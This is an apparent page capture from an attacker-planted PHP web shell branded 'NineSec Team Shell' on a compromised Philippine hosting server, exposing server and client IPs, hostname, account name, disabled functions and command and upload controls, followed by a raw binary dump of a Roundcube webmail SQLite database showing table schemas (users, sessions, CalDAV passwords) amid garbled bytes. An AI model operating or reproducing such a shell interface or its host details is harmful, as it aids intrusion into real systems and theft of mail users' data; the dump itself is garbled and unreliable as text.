NineSec Team Shell
Server IP : 184.107.3.203  /  Your IP : 216.73.216.51
Web Server : Apache
System : Linux dedicated2.avenfashion.com.ph 4.18.0-553.40.1.el8_10.x86_64 #1 SMP Mon Feb 10 12:11:18 EST 2025 x86_64
User : adminteladeoro ( 1015)
PHP Version : 8.2.28
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home/adminteladeoro/etc/teladeoro.com/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/adminteladeoro/etc/teladeoro.com/dante.rcube.db.1729268492
SQLite format 3@  �L>F�._��I�������.�#��%��6)=indexsqlite_autoindex_cache_1cacheA�-indexix_searches_user_type_namesearchesCREATE UNIQUE INDEX ix_searches_user_type_name ON searches (user_id, type, name)�c�tablesearchessearchesCREATE TABLE searches (
  search_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL DEFAULT '0',
  "type" smallint NOT NULL DEFAULT '0',
  name varchar(128) NOT NULL,
  data text NOT NULL
)�C!�3indexix_dictionary_user_languagedictionaryCREATE UNIQUE INDEX ix_dictionary_user_language ON dictionary (user_id, "language")�!!�{tabledictionarydictionaryCREATE TABLE dictionary (
    user_id integer DEFAULT NULL,
   "language" varchar(5) NOT NULL,
    data text NOT NULL
)Y1uindexix_session_changedsessionCREATE INDEX ix_session_changed ON session (changed)�V
�tablesessionsessionCREATE TABLE session (
  sess_id varchar(128) NOT NULL PRIMARY KEY,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  ip varchar(40) NOT NULL default '',
  vars text NOT NULL
)-Aindexsqlite_autoindex_session_1sessionf/�indexix_users_usernameusers
CREATE UNIQUE INDEX ix_users_username ON users(username, mail_host)� �tableusersusersCREATE TABLE users (
  user_id integer NOT NULL PRIMARY KEY,
  username varchar(128) NOT NULL default '',
  mail_host varchar(128) NOT NULL default '',
  created datetime NOT NULL default '0000-00-00 00:00:00',
  last_login datetime DEFAULT NULL,
  failed_login datetime DEFAULT NULL,
  failed_login_counter integer DEFAULT NULL,
  language varchar(5),
  preferences text NOT NULL default ''
)d
3!�indexix_identities_emailidentitiesCREATE INDEX ix_identities_email ON identities(email, del)j	7!�	indexix_identities_user_ididentities
CREATE INDEX ix_identities_user_id ON identities(user_id, del)�>!!�Gtableidentitiesidentities	CREATE TABLE identities (
  identity_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL default '0',
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  del tinyint NOT NULL default '0',
  standard tinyint NOT NULL default '0',
  name varchar(128) NOT NULL default '',
  organization varchar(128) default '',
  email varchar(128) NOT NULL default '',
  "reply-to" varchar(128) NOT NULL default '',
  bcc varchar(128) NOT NULL default '',
  signature text NOT NULL default '',
  html_signature tinyint NOT NULL default '0'
)�O3�1indexix_contactgroupmembers_contact_idcontactgroupmembersCREATE INDEX ix_contactgroupmembers_contact_id ON contactgroupmembers (contact_id)�
33�AtablecontactgroupmemberscontactgroupmembersCREATE TABLE contactgroupmembers (
  contactgroup_id integer NOT NULL,
  contact_id integer NOT NULL default '0',
  created datetime NOT NULL default '0000-00-00 00:00:00',
  PRIMARY KEY (contactgroup_id, contact_id)
)EY3indexsqlite_autoindex_contactgroupmembers_1contactgroupmembersv='�indexix_contactgroups_user_idcontactgroupsCREATE INDEX ix_contactgroups_user_id ON contactgroups(user_id, del)�$''�tablecontactgroupscontactgroupsCREATE TABLE contactgroups (
  contactgroup_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL default '0',
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  del tinyint NOT NULL default '0',
  name varchar(128) NOT NULL default ''
)b3�indexix_contacts_user_idcontactsCREATE INDEX ix_contacts_user_id ON contacts(user_id, del)�D�[tablecontactscontactsCREATE TABLE contacts (
  contact_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  del tinyint NOT NULL default '0',
  name varchar(128) NOT NULL default '',
  email text NOT NULL default '',
  firstname varchar(128) NOT NULL default '',
  surname varchar(128) NOT NULL default '',
  vcard text NOT NULL default '',
 G�^7�V�CqrY



J

��/	��
.
m�lllll�.q11�tablecaldav_attachmentscaldav_attachments?CREATE TABLE caldav_attachments (
  attachment_id integer NOT NULL PRIMARY KEY,
  event_id integer NOT NULL DEFAULT '0',
  filename varchar(255) NOT NULL DEFAULT '',
  mimetype varchar(255) NOT NULL DEFAULT '',
  size integer NOT NULL DEFAULT '0',
  data longtext NOT NULL,
  CONSTRAINT fk_caldav_attachments_event_id FOREIGN KEY (event_id)
    REFERENCES caldav_events(event_id)
)
��--�{tableical_attachmentsical_attachments6CREATE TABLE ical_attachments (
  attachment_id integer NOT NULL PRIMARY KEY,
  event_id integer NOT NULL DEFAULT '0',
  filename varchar(255) NOT NULL DEFAULT '',
  mimetype varchar(255) NOT NULL DEFAULT '',
  size integer NOT NULL DEFAULT '0',
  data longtext NOT NULL,
  CONSTRAINT fk_ical_attachments_event_id FOREIGN KEY (event_id)
    REFERENCES ical_events(event_id)
)�JZ�otableeventsevents*CREATE TABLE events (
  event_id integer NOT NULL PRIMARY KEY,
  calendar_id integer NOT NULL default '0',
  recurrence_id integer NOT NULL default '0',
  uid varchar(255) NOT NULL default '',
  instance varchar(16) NOT NULL default '',
  isexception tinyint(1) NOT NULL default '0',
  created datetime NOT NULL default '1000-01-01 00:00:00',
  changed datetime NOT NULL default '1000-01-01 00:00:00',
  sequence integer NOT NULL default '0',
  start datetime NOT NULL default '1000-01-01 00:00:00',
  end datetime NOT NULL default '1000-01-01 00:00:00',
  recurrence varchar(255) default NULL,
  title varchar(255) NOT NULL,
  description text NOT NULL,
  location varchar(255) NOT NULL default '',
  categories varchar(255) NOT NULL default '',
  url varchar(255) NOT NULL default '',
  all_day tinyint(1) NOT NULL default '0',
  free_busy tinyint(1) NOT NULL default '0',
  priority tinyint(1) NOT NULL default '0',
  sensitivity tinyint(1) NOT NULL default '0',
  status varchar(32) NOT NULL default '',
  alarms text default NULL,
  attendees text default NULL,
  notifyat datetime default NULL,
  CONSTRAINT fk_events_calendar_id FOREIGN KEY (calendar_id)
    REFERENCES calendars(calendar_id)
)�[##�itableattachmentsattachments+CREATE TABLE attachments (
  attachment_id integer NOT NULL PRIMARY KEY,
  event_id integer NOT NULL default '0',
  filename varchar(255) NOT NULL default '',
  mimetype varchar(255) NOT NULL default '',
  size integer NOT NULL default '0',
  data text NOT NULL default '',
  CONSTRAINT fk_attachment_event_id FOREIGN KEY (event_id)
    REFERENCES events(event_id)
)�\++�mtableitipinvitationsitipinvitations-CREATE TABLE itipinvitations (
  token varchar(64) NOT NULL PRIMARY KEY,
  event_uid varchar(255) NOT NULL,
  user_id integer NOT NULL default '0',
  event text NOT NULL,
  expires datetime NOT NULL default '1000-01-01 00:00:00',
  cancelled tinyint(1) NOT NULL default '0',
  CONSTRAINT fk_itipinvitations_user_id FOREIGN KEY (user_id)
    REFERENCES users(user_id)
)=]Q+indexsqlite_autoindex_itipinvitations_1itipinvitations.|^9+�!indexix_itipinvitations_uiditipinvitations/CREATE INDEX ix_itipinvitations_uid ON itipinvitations(user_id, event_uid)��))�_tableical_calendarsical_calendars0CREATE TABLE ical_calendars (
  calendar_id integer NOT NULL PRIMARY KEY,
  user_id iYr1uindexix_session_changedsessionACREATE INDEX ix_session_changed ON session (changed)9=#�!indexical_calendar_notify_idxical_events5CREATE INDEX ical_calendar_notify_idx ON ical_events(calendar_id,notifyat)�3#�	indexical_recurrence_idxical_events4CREATE INDEX ical_recurrence_idx ON ical_events(recurrence_id)R%#gindexical_uid_idxical_events3CREATE INDEX ical_uid_idx ON ical_events(uid)
%%$















�
��c�r
��
8
�*	=������������o#�9tablesystemsystem&CREATE TABLE system (
  name varchar(64) NOT NULL PRIMARY KEY,
  value text NOT NULL
)+$?indexsqlite_autoindex_system_1system'�_%//�mtablecp_schema_versioncp_schema_version(CREATE TABLE `cp_schema_version` (
  version_id integer NOT NULL PRIMARY KEY,
  version varchar(128) NOT NULL UNIQUE,
  applied datetime NOT NULL default '0000-00-00 00:00:00')A&U/indexsqlite_autoindex_cp_schema_version_1cp_schema_version)���7�l���9�p�1�Y�ytablecalendarscalendarsCREATE TABLE calendars (
  calendar_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL default '0',
  name varchar(255) NOT NULL default '',
  color varchar(255) NOT NULL default '',
  showalarms tinyint(1) NOT NULL default '1', driver varchar(255) NOT NULL default 'database',
  CONSTRAINT fk_calendars_user_id FOREIGN KEY (user_id)
    REFERENCES users(user_id)
)�VQ�tablesessionsessionCREATE TABLE session (
  sess_id varchar(128) NOT NULL PRIMARY KEY,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  ip varchar(40) NOT NULL default '',
  vars text NOT NULL
)-RAindexsqlite_autoindex_session_1session�[+R�6V%%�/tablecache_sharedcache_sharedCREATE TABLE cache_shared (
  cache_key varchar(255) NOT NULL,
  expires datetime DEFAULT NULL,
  data text NOT NULL,
  PRIMARY KEY (cache_key)
)7WK%indexsqlite_autoindex_cache_shared_1cache_sharedmX;%�indexix_cache_shared_expirescache_sharedCREATE INDEX ix_cache_shared_expires ON cache_shared(expires)g�tablecalendarscalendarsCREATE TABLE calendars (
  calendar_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL default '0',
  name varchar(255) NOT NULL default '',
  color varchar(255) NOT NULL default '',
  showalarms tinyint(1) NOT NULL default '1',
  CONSTRAINT fk_calendars_user_id FOREIGN KEY (user_id)
    REFERENCES users(user_id)
)

�b
���
*	��1���u�C!!�5tableidentitiesidentitiesCREATE TABLE identities (
  identity_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  del tinyint NOT NULL default '0',
  standard tinyint NOT NULL default '0',
  name varchar(128) NOT NULL default '',
  organization varchar(128) default '',
  email varchar(128) NOT NULL default '',
  "reply-to" varchar(128) NOT NULL default '',
  bcc varchar(128) NOT NULL default '',
  signature text NOT NULL default '',
  html_signature tinyint NOT NULL default '0'
)��BI3�Oindexix_collected_addresses_user_idcollected_addressesECREATE UNIQUE INDEX ix_collected_addresses_user_id ON collected_addresses(user_id, "type", email)�~�A33�#tablecollected_addressescollected_addressesCREATE TABLE collected_addresses (
  address_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  name varchar(255) NOT NULL default '',
  email varchar(255) NOT NULL,
  "type" integer NOT NULL
)��@O3�1indexix_contactgroupmembers_contact_idcontactgroupmembersKCREATE INDEX ix_contactgroupmembers_contact_id ON contactgroupmembers (contact_id)E�?Y3indexsqlite_autoindex_contactgroupmembers_1contactgroupmembers��>33�atablecontactgroupmemberscontactgroupmembersJCREATE TABLE contactgroupmembers (
  contactgroup_id integer NOT NULL
    REFERENCES contactgroups (contactgroup_id) ON DELETE CASCADE ON UPDATE CASCADE,
  contact_id integer NOT NULL
    REFERENCES contacts (contact_id) ON DELETE CASCADE ON UPDATE CASCADE,
  created datetime NOT NULL default '0000-00-00 00:00:00',
  PRIMARY KEY (contactgroup_id, contact_id)
)v�=='�indexix_contactgroups_user_idcontactgroupsCREATE INDEX ix_contactgroups_user_id ON contactgroups(user_id, del)�[�<''�utablecontactgroupscontactgroupsCREATE TABLE contactgroups (
  contactgroup_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  del tinyint NOT NULL default '0',
  name varchar(128) NOT NULL default ''
)b�;3�indexix_contacts_user_idcontactsBCREATE INDEX ix_contacts_user_id ON contacts(user_id, del)��:�atablecontactscontactsHCREATE TABLE contacts (
  contact_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  del tinyint NOT NULL default '0',
  name varchar(128) NOT NULL default '',
  email text NOT NULL default '',
  firstname varchar(128) NOT NULL default '',
  surname varchar(128) NOT NULL default '',
  vcard text NOT NULL default '',
  words text NOT NULL default ''
)f�9/�indexix_users_usernameusersCREATE UNIQUE INDEX ix_users_username ON users(username, mail_host)��8�tableusersusers
CREATE TABLE users (
  user_id integer NOT NULL PRIMARY KEY,
  username varchar(128) NOT NULL default '',
  mail_host varchar(128) NOT NULL default '',
  created datetime NOT NULL default '0000-00-00 00:00:00',
  last_login datetime DEFAULT NULL,
  failed_login datetime DEFAULT NULL,
  failed_login_counter integer DEFAULT NULL,
  language varchar(16),
  preferences text DEFAULT NULL
)












�����J!calendar-caldav-version20160720$%;!calendar-caldav-version2023100600&$?!calendar-database-version2023100600/!roundcube-version2022081200
������+roundcube-version/roundcube-versioncalendar-caldav-versio;calendar-caldav-version%?calendar-database-version$

o����jL-����o31.6.0.72023-04-16 16:29:0831.5.2.62023-03-06 16:26:5431.5.2.52023-02-14 16:30:0831.5.2.12022-12-02 16:27:0731.4.122022-03-29 09:53:0331.4.112021-11-03 18:52:4831.4.102021-01-08 19:04:25
31.4.82020-10-02 19:07:0231.4.72020-08-25 18:52:1031.4.62020-07-08 18:59:58
31.4.42020-06-09 18:58:06	31.3.82020-05-12 19:11:2031.3.72019-05-15 19:04:28

t������������t1.6.0.71.5.2.61.5.2.51.5.2.1
1.4.12
1.4.11
1.4.10	1.4.8
	1.4.7	1.4.6	1.4.4
	1.3.8		1.3.7

***











O�S�.
�	�	���]

i�H�''�indeE��KtableresponsesresponsesCREATE TABLE responses (
  response_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  changed datetime NOT N�(�T%%�tablecache_threadcache_thread CREATE TABLE cache_thread (
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    mailbox varchar(255) NOT NULL,
    expires datetime DEFAULT NULL,
    data text NOT NULL,
    PRIMARY KEY (user_id, mailbox)
)j�S9#�indexix_cache_index_expirescache_indexCREATE INDEX ix_cache_index_expires ON cache_index (expires)��N�tablecachecacheCREATE TABLE cache (
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  cache_key varchar(128) NOT NULL default '',
  expires datetime DEFAULT NULL,
  data text NOT NULL,
  PRIMARY KEY (user_id, cache_key)
)�~�F�KtableresponsesresponsesCREATE TABLE responses (
  response_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  del tinyint NOT NULL default '0',
  name varchar(255) NOT NULL,
  data text NOT NULL,
  is_html tinyint NOT NULL default '0'
)!!�5tableidentitiesidentit;�XO)indexsqlite_autoindex_cache_messages_1cache_messages#�u�W))�%tablecache_messagescache_messagesCREATE TABLE cache_messages (
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATd�E3!�indexix_identities_emailidentitiesDCREATE INDEX ix_identities_email ON identities(email, del)j�D7!�	indexix_identities_user_ididentities
CREATE INDEX ix_identities_user_id ON identities(user_id, del)n�V;%�	indexix_cache_thread_expirescache_thread"CREATE INDEX ix_cache_thread_expires ON cache_thread (expires)7�UK%indexsqlite_autoindex_cache_thread_1cache_thread!5�RI#indexsqlite_autoindex_cache_index_1cache_indexP�P-kindexix_cache_expirescacheCREATE INDEX ix_cache_expires ON cache(expires))�O=indexsqlite_autoindex_cache_1cache{�M5�/indexix_filestore_user_idfilestoreCCREATE UNIQUE INDEX ix_filestore_user_id ON filestore(user_id, context, filename)�KA�-indexix_searches_user_type_namesearchesCREATE UNIQUE INDEX ix_searches_user_type_name ON searches (user_id, type, name)��J�tablesearchessearchesCREATE TABLE searches (
  search_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  "type" smallint NOT NULL DEFAULT '0',
  name varchar(128) NOT NULL,
  data text NOT NULL
)��IC!�/indexix_dictionary_user_languagedictionaryFCREATE UNIQUE INDEX ix_dictionary_user_language ON dictionary (user_id, language)�U�H!!�utabledictionarydictionary	CREATE TABLE dictionary (
  user_id integer DEFAULT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  language varchar(16) NOT NULL,
  data text NOT NULL
)b5�indexix_responses_user_idresponses@CREATE INDEX ix_responses_user_id ON responses(user_id, del)�3!�indexix_identities_emailidentitiesDCREATE INDEX ix_identities_email ON identities(email, del)j�D7!�	indexix_identitv�Y?)�indexix_cache_messages_expirescache_messages$CREATE INDEX ix_cache_messages_expires ON cache_messages (expires)�N�Q##�ctablecache_indexcache_indexCREATE TABLE cache_index (
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    mailbox varchar(255) NOT NULL,
    expires datetime DEFAULT NULL,
    valid smallint NOT NULL DEFAULT '0',
    data text NOT NULL,
    PRIMARY KEY (user_id, mailbox)
)�A�L�QtablefilestorefilestoreCREATE TABLE filestore (
    file_id integer NOT NULL PRIMARY KEY,
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    context varchar(32) NOT NULL,
    filename varchar(128) NOT NULL,
    mtime integer NOT NULL,
    data text NOT NULL
)






=<;:981@65432@



H




f�f
�������)�_;;�mviewcaldav_calendars_mergedcaldav_calendars_mergedCREATE VIEW caldav_calendars_merged AS
  SELECT c.calendar_id, c.user_id, c.name, c.color, c.showalarms, c.driver, cc.readonly, cc.caldav_url, cc.caldav_tag, cc.caldav_user, cc.caldav_pass, cc.caldav_oauth_provider, cc.caldav_last_change, c.calendar_id �I;�Wtriggercaldav_calendars_merged_insertcaldav_calendars_mergedCREATE TRIGGER caldav_calendars_merged_insert
  INSTEAD OF INSERT ON caldav_calendars_merged
  BEGIN
    INSERT INTO calendars (calendar_id, user_id, name, color, showalarms, driver)
      VALUES (NEW.calendar_id, NEW.user_id, NEW.name, NEW.color, NEW.showalarms, NEW.driver);
    INSERT INTO caldav_calendars (calendar_id, readonly, caldav_url, caldav_tag, caldav_user, caldav_pass, caldav_oauth_provider, caldav_last_change)
      VALUES ((SELECT calendar_id FROM calendars ORDER BY calendar_id DESC LIMIT 1), NEW.readonly, NEW.caldav_url, NEW.v�Y?)�indexix_cache_messages_expirescache_messages$CREATE INDEX ix_cache_messages_expires ON cache_messages (expires);�XO)indexsqlite_autoindex_cache_messages_1cache_messages#�u�W))�%tablecache_messagescache_messagesCREATE TABLE cache_messages (
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    mailbox varchar(255) NOT NULL,
    uid integer NOT NULL,
    expires datetime DEFAULT NULL,
    data text NOT NULL,
    flags integer NOT NULL DEFAULT '0',
    PRIMARY KEY (user_id, mailbox, uid)
)��^G'�)triggerUpdateLastTimeForCalDAVEventscaldav_eventsCREATE TRIGGER UpdateLastTimeForCalDAVEvents
  AFTER UPDATE
  ON caldav_events
  FOR EACH ROW
  BEGIN
    UPDATE caldav_events SET caldav_last_change = CURRENT_TIMESTAMP WHERE event_id = old.event_id;
  END9�]M'indexsqlite_autoindex_caldav_events_1caldav_eventsL�I�\''�Qtablecaldav_eventscaldav_eventsCREATE TABLE "caldav_events" (
  event_id integer NOT NULL PRIMARY KEY,
  calendar_id integer NOT NULL,
  recurrence_id integer NOT NULL DEFAULT '0',
  uid varchar(255) NOT NULL DEFAULT '',
  instance varchar(16) NOT NULL DEFAULT '',
  isexception tinyint(1) NOT NULL DEFAULT '0',
  created datetime NOT NULL DEFAULT '1000-01-01 00:00:00',
  changed datetime NOT NULL DEFAULT '1000-01-01 00:00:00',
  sequence integer NOT NULL DEFAULT '0',
  start datetime NOT NULL DEFAULT '1000-01-01 00:00:00',
  end datetime NOT NULL DEFAULT '1000-01-01 00:00:00',
  recurrence varchar(255) DEFAULT NULL,
  title varchar(255) NOT NULL,
  description text NOT NULL,
  location varchar(255) NOT NULL DEFAULT '',
  categories varchar(255) NOT NULL DEFAULT '',
  url varchar(255) NOT NULL DEFAULT '',
  all_day tinyint(1) NOT NULL DEFAULT '0',
  free_busy tinyint(1) NOT NULL DEFAULT '0',
  priority tinyint(1) NOT NULL DEFAULT '0',
  sensitivity tinyint(1) NOT NULL DEFAULT '0',
  status varchar(32) NOT NULL DEFAULT '',
  alarms text NULL DEFAULT NULL,
  attendees text DEFAULT NULL,
  notifyat datetime DEFAULT NULL,
  caldav_url varchar(255) NOT NULL,
  caldav_tag varchar(255) DEFAULT NULL,
  caldav_last_change timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  CONSTRAINT uk_caldav_event UNIQUE (calendar_id,recurrence_id,uid,caldav_tag,instance),
  CONSTRAINT fk_caldav_events_calendar_id FOREIGN KEY (calendar_id)
    REFERENCES calendars(calendar_id)
)�S�Z--�Ytablecaldav_calendarscaldav_calendars%CREATE TABLE "caldav_calendars" (
  id integer NOT NULL PRIMARY KEY,
  calendar_id integer NOT NULL,
  readonly tinyint(1) NOT NULL DEFAULT '1',
  caldav_url varchar(255) NOT NULL,
  caldav_tag varchar(255) DEFAULT NULL,
  caldav_user varchar(255) DEFAULT NULL,
  caldav_pass varchar(1024) DEFAULT NULL,
  caldav_oauth_provider varchar(255) DEFAULT NULL,
  caldav_last_change timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  CONSTRAINT fk_caldav_calendars_calendar_id FOREIGN KEY (calendar_id)
    REFERENCES calendars(calendar_id) ON DELETE CASCADE
)

�Sg�m�g�Mn�
Q
Q
Q��1��6r�C!�/inds5'�indexix_responses_user_idold_responsesGCREATE INDEX ix_responses_usUC!�/indexix_dictionary_user_languagedictionaryFCREATE UNIQUE INDEX i�~�A33�#tablecollected_addressescollected_addressesCREATE TABLE collected_addresses (
  address_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  name varchar(255) NOT NULL default '',
  email varchar(255) NOT NULL,
  "type" integer NOT NULL
)
=G'�triggerUpdateLastTimeForCalDAVEventscaldav_eventsCREATE TRIGGER UpdateLastTimeForCalDAVEvents
  AFTER UPDATE
  ON caldav_events
  FOR EACH ROW
BEGIN
  UPDATE caldav_events SET caldav_last_change = CURRENT_TIMESTAMP WHERE event_id = old.event_id; END�oA'�)indexcaldav_calendar_notify_idxcaldav_events>CREATE INDEX caldav_calendar_notify_idx ON caldav_events(calendar_id,notifyat)
=�))�%tablecache_messagescache_messagesCREATE TABLE cache_messages (
    user_id integer NOT NULL
        REFERENCES users (user_i��@O3�1indexix_contactgroupmembers_contact_idcontactgroupmembersKCREATE INDEX ix_contactgroupmembers_contact_id ON contactgroupmembers (contact_id)E�?Y3indexsqlite_autoindex_contactgroupmembers_1contactgroupmembers��>33�atablecontactgroupmemberscontactgroupmembersJCREATE TABLE contactgroupmembers (
  contactgroup_id integer NOT NULL
    REFERENCES contactgroups (contactgroup_id) ON DELETE CASCADE ON UPDATE CASCADE,
  contact_id integer NOT NULL
    REFERENCES contacts (contact_id) ON DELETE CASCADE ON UPDATE CASCADE,
  created datetime NOT NULL df�d5�indexix_responses_user_idresponses0CREATE INDEX ix_responses_user_id ON responses(user_id, del)^�c/}indexcalendar_name_idxcalendars,CREATE UNIQUE INDEX calendar_name_idx ON calendars(name)�.�bI;�ctriggercaldav_calendars_merged_deletecaldav_calendars_mergedCREATE TRIGGER caldav_calendars_merged_delete
  INSTEAD OF DELETE ON caldav_calendars_merged
  BEGIN
    DELETE FROM calendars WHERE calendar_id=OLD.calendar_id;
    DELETE FROM caldav_calendars WHERE calendar_id=OLD.calendar_id;
  END�D�aI;�triggercaldav_calendars_merged_updatecaldav_calendars_mergedCREATE TRIGGER caldav_calendars_merged_update
  INSTEAD OF UPDATE OF name, color, showalarms, readonly, caldav_url, caldav_tag, caldav_user, caldav_pass, caldav_oauth_provider, caldav_last_change ON caldav_calendars_merged
  BEGIN
    UPDATE calendars SET name=NEW.name, color=NEW.color, showalarms=NEW.showalarms WHERE calendar_id=NEW.calendar_id;
    UPDATE caldav_calendars SET readonly=NEW.readonly, caldav_url=NEW.caldav_url, caldav_tag=NEW.caldav_tag, caldav_user=NEW.caldav_user, caldav_pass=NEW.caldav_pass, caldav_oauth_provider=NEW.caldav_oauth_provider, caldav_last_change=coalesce(NEW.caldav_last_change,CURRENT_TIMESTAMP);
  END�h�`I;�Wtriggercaldav_calendars_merged_insertcaldav_calendars_mergedCREATE TRIGGER caldav_calendars_merged_insert
  INSTEAD OF INSERT ON caldav_calendars_merged
  BEGIN
    INSERT INTO calendars (calendar_id, user_id, name, color, showalarms, driver)
      VALUES (NEW.calendar_id, NEW.user_id, NEW.name, NEW.color, NEW.showalarms, NEW.driver);
    INSERT INTO caldav_calendars (calendar_id, readonly, caldav_url, caldav_tag, caldav_user, caldav_pass, caldav_oauth_provider, caldav_last_change)
      VALUES ((SELECT calendar_id FROM calendars ORDER BY calendar_id DESC LIMIT 1), NEW.readonly, NEW.caldav_url, NEW.caldav_tag, NEW.caldav_user, NEW.caldav_pass, NEW.caldav_oauth_provider, coalesce(NEW.caldav_last_change,CURRENT_TIMESTAMP));
  END�)�_;;�mviewcaldav_calendars_mergedcaldav_calendars_mergedCREATE VIEW caldav_calendars_merged AS
  SELECT c.calendar_id, c.user_id, c.name, c.color, c.showalarms, c.driver, cc.readonly, cc.caldav_url, cc.caldav_tag, cc.caldav_user, cc.caldav_pass, cc.caldav_oauth_provider, cc.caldav_last_change, c.calendar_id AS id
  FROM calendars as c JOIN caldav_calendars as cc ON c.calendar_id = cc.calendar_id
  WHERE c.driver='caldav'




NineSec Team - 2022